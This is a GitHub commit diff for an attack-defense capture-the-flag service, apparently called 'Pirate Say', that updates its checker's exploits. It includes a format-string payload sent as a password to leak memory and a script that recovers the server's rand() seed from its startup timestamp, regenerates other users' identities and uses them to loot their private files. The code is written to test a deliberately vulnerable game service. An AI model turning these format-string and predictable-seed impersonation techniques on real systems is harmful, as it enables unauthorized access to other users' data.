Skip to content

Commit

Permalink
finalize new exploit 2
Browse files Browse the repository at this point in the history
  • Loading branch information
ignisco committed Jul 15, 2024
1 parent f5ced90 commit 74e6cba
Show file tree
Hide file tree
Showing 8 changed files with 329 additions and 182 deletions.
53 changes: 11 additions & 42 deletions checker/src/checker.py
Original file line number Diff line number Diff line change
Expand Up @@ -213,7 +213,7 @@ async def havoc_file_creation(task: HavocCheckerTaskMessage, logger: LoggerAdapt
conn.writer.write(b"bury root_file\n")
await conn.writer.drain()
data = await conn.reader.readuntil(b"$ ")
if b"Can't bury treasure at sea" not in data:
if b"Can't bury at sea" not in data:
raise MumbleException("Creating files in the root directory is possible")

# 2. Try to create a file in another directory
Expand All @@ -226,7 +226,7 @@ async def havoc_file_creation(task: HavocCheckerTaskMessage, logger: LoggerAdapt
await conn.writer.drain()
data = await conn.reader.readuntil(b"$ ")

if b"Can only bury treasure where your ship is" not in data:
if b"Can only bury where your ship is" not in data:
raise MumbleException("Path traversal is possible when creating files")

@checker.putnoise(0)
Expand Down Expand Up @@ -387,7 +387,7 @@ async def exploit_treasure(task: ExploitCheckerTaskMessage, searcher: FlagSearch
await conn.reader.readuntil(b": ")

# Send the format string exploit as the password
conn.writer.write(b'%33$llx.%34$llx\n') # NOTE: Could differ on the vulnbox (because of x86?)
conn.writer.write(b'%31$llx.%32$llx\n') # NOTE: Could differ on the vulnbox (because of x86?)
await conn.writer.drain()

# Read the buffer to get the incorrect password message
Expand Down Expand Up @@ -521,49 +521,18 @@ async def exploit_private(task: ExploitCheckerTaskMessage, searcher: FlagSearche
raise MumbleException("No attack info provided")

private_dir, private_file = task.attack_info.split('/')
await conn.reader.readuntil(b"$ ")

print("Task.address:", task.address)

# Get current unix time in seconds
timestamp = int(time.time())

# Testing on flags just created by the checker, so assume created in the two mins
timestamp -= 300

# Read the current identity to use for the exploit
identity = await conn.get_identity()

# Get potential flag identities (try 150 last connections to be safe)
potential_flags = exploit2.get_previous_users(200, timestamp, 1000, identity)

flag_found = threading.Event()
result_flag = None

def process_flag(potential_flag):
nonlocal result_flag
if flag_found.is_set():
return None # Skip processing if flag is already found
seed, current_identity = exploit2.get_seed_and_current_identity(task.address, SERVICE_PORT)
matching_identities = exploit2.get_matching_identites(seed, current_identity, private_file)

# Use ThreadPoolExecutor to parallelize the process_identity function
with ThreadPoolExecutor() as executor:
responses = executor.map(lambda identity: exploit2.process_identity(identity, private_file, private_dir, task.address, SERVICE_PORT), matching_identities)

response = exploit2.process_identity(potential_flag, private_dir, private_file, task.address, SERVICE_PORT)
# Check if the flag is in the response
# Iterate over the responses to find the flag
for response in responses:
if flag := searcher.search_flag(response):
result_flag = flag
flag_found.set() # Indicate that the flag is found
return flag
return None

# Use ThreadPoolExecutor to parallelize the process_flag function
with ThreadPoolExecutor(max_workers=10) as executor:
futures = [executor.submit(process_flag, potential_flag) for potential_flag in potential_flags]

for future in as_completed(futures):
result = future.result()
if result:
break # Exit the loop once the flag is found

if result_flag:
return result_flag

raise MumbleException("flag not found: exploit(1)")

Expand Down
157 changes: 112 additions & 45 deletions checker/src/exploit2.py
Original file line number Diff line number Diff line change
@@ -1,6 +1,8 @@
import ctypes
import hashlib
import re
import socket
import time
from concurrent.futures import ThreadPoolExecutor

directories = [
Expand All @@ -21,77 +23,142 @@
"GalleonGraveyard"
]

pirate_adjectives = [
"Red", "Black", "Silver", "Golden", "Scarlet", "Dark", "White", "Blue", "Rogue", "Stormy",
"Fearsome", "Mighty", "Brave", "Savage", "Fiery", "Cunning", "Bold", "Fierce", "Grim", "Vengeful",
"Merciless", "Wild", "Daring", "Stealthy", "Ferocious", "Deadly", "Bloodthirsty", "Cruel", "Relentless", "Treacherous",
"Wrathful", "Ruthless", "Sinister", "Ghostly", "Iron", "Steel", "Thunderous", "Shadowy", "Mysterious", "Menacing",
"Dauntless", "Unyielding", "Reckless", "Savvy", "Fearless", "Intrepid", "Grizzled", "Vigilant", "Crafty", "Sly",
"Swift", "Dreadful", "Gallant", "Heroic", "Legendary", "Wicked", "Terrorizing", "Formidable", "Chaotic", "Brutal",
"Perilous", "Noble", "Valiant", "Infernal", "Monstrous", "Raging", "Vicious", "Sinful", "Boldhearted", "Ferocious",
"Indomitable", "Savage", "Dreaded", "Fabled", "Majestic", "Unstoppable", "Ancient", "Stalwart", "Mythic", "Untamed",
"Mystic", "Prowling", "Doomed", "Forgotten", "Seafaring", "Wandering", "Shadow", "Deepsea", "Stormborn", "Windrider",
"Tidal", "Maelstrom", "Typhoon", "Tempest", "Harpooner", "Corsair", "Buccaneer", "Seawolf", "SeaSerpent", "Kraken"
]
pirate_nouns = [
"Beard", "Jack", "Bart", "Pete", "Anne", "Patty", "John", "Hook", "Bill", "Bonny",
"Morgan", "Davy", "Blackbeard", "Silver", "LongJohn", "Calico", "Rackham", "Teach", "Drake", "Roberts",
"Lafitte", "Vane", "Flint", "Kidd", "Bartholomew", "Edward", "Mary", "Jane", "Blood", "Cannon",
"Cutlass", "Sparrow", "Corsair", "Marooner", "SeaDog", "Scallywag", "Buccaneer", "SeaWolf", "Privateer", "Matey",
"Swashbuckler", "Skull", "Crossbones", "Treasure", "Galleon", "Parrot", "Pistol", "Rum", "Sloop", "Brig",
"PirateKing", "Siren", "Corsair", "JollyRoger", "Bounty", "Scourge", "SeaSerpent", "Kraken", "Marauder", "Plunder",
"Loot", "Booty", "BountyHunter", "Mutineer", "Captain", "Quartermaster", "Gunner", "Boatswain", "Lookout", "Sailor",
"Navigator", "FirstMate", "Shipwright", "PowderMonkey", "CabinBoy", "Deckhand", "Helmsman", "Longboat", "Cannoneer", "Shipmate",
"PirateQueen", "SeaRover", "SeaRaider", "SeaCaptain", "Freebooter", "Wench", "Swabber", "Harpooner", "SeaWitch", "Buoy",
"Gangplank", "Mainmast", "Crowsnest", "Forecastle", "Hold", "Broadside", "Bilge", "Grog", "Anchor", "Tide"
]

def get_previous_users(count, start_seed, attempts_per_seed, matching_string):

# Load the C standard library
libc = ctypes.CDLL(None)

# Set argument and return types
libc.srand.argtypes = [ctypes.c_uint]
libc.rand.restype = ctypes.c_int
NUM_ADJECTIVES = len(pirate_adjectives)
NUM_NOUNS = len(pirate_nouns)
IDENTITY_LENGTH = 64

def generate_identity_string():
return ''.join(chr(ord('a') + (libc.rand() % 26)) for _ in range(64))
# Load the C standard library
libc = ctypes.CDLL(None)

def find_matching_seed(start_seed, target_string, attempts_per_seed):
seed = start_seed
while True:
libc.srand(seed)
for attempt in range(attempts_per_seed):
identity_string = generate_identity_string()
if identity_string == target_string:
return seed, attempt
seed += 1
# Set argument and return types
libc.srand.argtypes = [ctypes.c_uint]
libc.rand.restype = ctypes.c_int

# Example starting seed and matching string
if len(matching_string) != 64:
print("The matching string must be 64 characters long")
return
def generate_identity_string():
return ''.join(chr(ord('a') + (libc.rand() % 26)) for _ in range(IDENTITY_LENGTH))

# Find the seed and offset
found_seed, offset = find_matching_seed(start_seed, matching_string, attempts_per_seed)
def get_unix_time_from_string(date_string):
# Format of date_string: "2024-07-15 11:35:24"
return int(time.mktime(time.strptime(date_string, "%Y-%m-%d %H:%M:%S")))

print(f"Match found! Seed: {found_seed}, Offset: {offset}")
def get_adjective_from_identity(identity_string):
hash = 5381
for c in identity_string:
hash = ((hash << 5) + hash) + ord(c) # hash * 33 + ord(c)
hash = hash & 0xFFFFFFFF # Ensure hash is a 32-bit unsigned integer
index = hash % NUM_ADJECTIVES
return pirate_adjectives[index]

# Seed with found_seed
libc.srand(found_seed)
# generate offset-count strings, which we don't need
for _ in range(max(offset-count, 0)):
generate_identity_string()
# generate up to count strings
possible_flags_identities = []
for _ in range(min(offset, count)):
possible_flags_identities.append(generate_identity_string())
def get_noun_from_identity(identity_string):
hash = 5381
for c in identity_string:
hash = ((hash << 5) + hash) + ord(c) # hash * 33 + ord(c)
hash = hash & 0xFFFFFFFF # Ensure hash is a 32-bit unsigned integer
index = (hash >> 16) % NUM_NOUNS # Shift to get a different part of the hash
return pirate_nouns[index]

return possible_flags_identities
# Establish a single connection to get the seed and current identity

def get_seed_and_current_identity(host, port):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, port))

# Receive the initial server message
def recv_until_prompt(prompt):
data = b''
while not data.endswith(prompt):
data += s.recv(1024)
return data

initial_message = recv_until_prompt(b'$ ').decode()
# Extract the timestamp from the initial message
match = re.search(r'\(Pirate Say v1.0.0, up since (.+?)\)', initial_message)
if match:
seed_string = match.group(1)
seed = get_unix_time_from_string(seed_string)
else:
print("Failed to extract seed from server message")
exit(1)

# Get the current identity
s.sendall(b'identity\n')
identity_response = recv_until_prompt(b': ').decode()
s.sendall(b'\n') # Keeping current identity
recv_until_prompt(b'$ ')
current_identity = identity_response.split("\n")[0].split(":")[1].strip()

return seed, current_identity

# Get identity strings with same name as target file
def get_matching_identites(seed, current_identity, target_file):

# Generate all potential identities up to the current one
libc.srand(seed)
potential_identities = []
while True:
identity_string = generate_identity_string()
potential_identities.append(identity_string)
if identity_string == current_identity:
break

# Extract the name from the target_file
target_name = target_file.split('_')[0] + '_' + target_file.split('_')[1]

# Filter to get those that match the target name
matching_identities = []
for identity in potential_identities:
adj = get_adjective_from_identity(identity)
noun = get_noun_from_identity(identity)
scammer_name = f"{adj}_{noun}".lower()
if target_name in scammer_name:
matching_identities.append(identity)

return matching_identities

# For each possible flag, try to connect to the server and get the flag
def process_identity(identity, directory, file, host='piratesay', port=4444):
# Define a function to process each identity
def process_identity(identity, target_file, target_directory, host, port):
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.connect((host, port))

# Function to receive data until a certain prompt is found
def recv_until_prompt(prompt):
data = b''
while not data.endswith(prompt):
data += s.recv(1024)
return data

# Set identity to possible flag

s.sendall(b'identity\n')
recv_until_prompt(b': ')
s.sendall(identity.encode() + b'\n')
recv_until_prompt(b'$ ')

# Sail to directory and loot file
s.sendall(f'sail {directory}\n'.encode())
s.sendall(f'sail {target_directory}\n'.encode())
recv_until_prompt(b'$ ')
s.sendall(f'loot {file}\n'.encode())
s.sendall(f'loot {target_file}\n'.encode())
response = recv_until_prompt(b'$ ')

return response
2 changes: 1 addition & 1 deletion debug/pexpect_bookkeeper.py
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@
import pexpect

# Start the telnet session
child = pexpect.spawn('telnet localhost 8082')
child = pexpect.spawn('telnet localhost 4444')

# Expect the initial prompt from the telnet server
child.expect(r'\$ '.encode())
Expand Down
Loading

0 comments on commit 74e6cba

Please sign in to comment.